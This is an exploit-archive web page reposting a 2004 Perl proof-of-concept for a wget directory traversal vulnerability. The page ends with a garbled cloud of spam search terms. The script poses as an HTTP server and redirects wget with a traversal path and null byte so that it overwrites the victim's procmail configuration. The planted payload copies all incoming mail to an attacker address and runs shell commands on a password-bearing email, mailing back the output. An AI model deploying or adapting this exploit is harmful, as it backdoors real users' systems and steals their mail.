about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Wget Directory Traversal Proof of Concept Exploit



2004-12-16 Wget Directory Traversal Proof of Concept Exploit
#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Minář (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that
wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username
'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected? 
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename =
"/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
	print LOG $_ if $log;
	if (/\Q$trick$filename\E/) {
	#if (/%2f/) {
		# We see the filename, so this is the second time
		# they're here. Time to feed the sploit.
		$second++;
	} elsif (/^Range: bytes=\(33\)-/) {
		# Appending goes like this:
		# (1) Tell'em what you're gonna tell'em
		# (2) Then tell'em just a half
		# (3) Close it
		# (4) Wait
		# (5) They're comin' back, with wget -c
		# (6) Tell'em the sploit
		# (7) Close again
		# (8) Wtf? They're comin' back with wget -c again
		# (9) Tell'em the rest...
		# (10) ... enjoying the backdoor at the same time
		print LOG "File if $1 bytes long\n" if $log;
	} elsif (/^\r?$/) {
		# The HTTP headers are over. Let's do it!
		$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
		if (!$second) {
			# Print the payload
			print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
		} else {
			# Print the redirection
			print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
		}
		exit 0;
	}
}
securitydot.net - 2004-12-16

Advertising

Copyright 2007, SecurityDot
Thu, 03 Dec 2009 03:56:21 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
RedBlog In n...d.php? news for c www.saxe.c your site Redaction Petardas.c www.hollyw FTP php 4.3.1 MONSTER PE TRISHABATH tamira pas nslu2 tms.taoke. ww.fucksex any import www.53jkbb 200 /compo www.horse Windows fo school sex dewipersik ipb+2.2.1 C/r/n2199/ my space a shop65822. sexkorea sexphotto www.u88hao zeroboard. Crack Data Apache htt priti search/exp cumingpuss zeroboard. xxx sexy myspac3e.c Security d Apache/2.0 MOVI SIX 2.14 scolistica search/exp tamilsexsu www.059151 2.6.18& WWW.INDIAN VIDIO+SEXX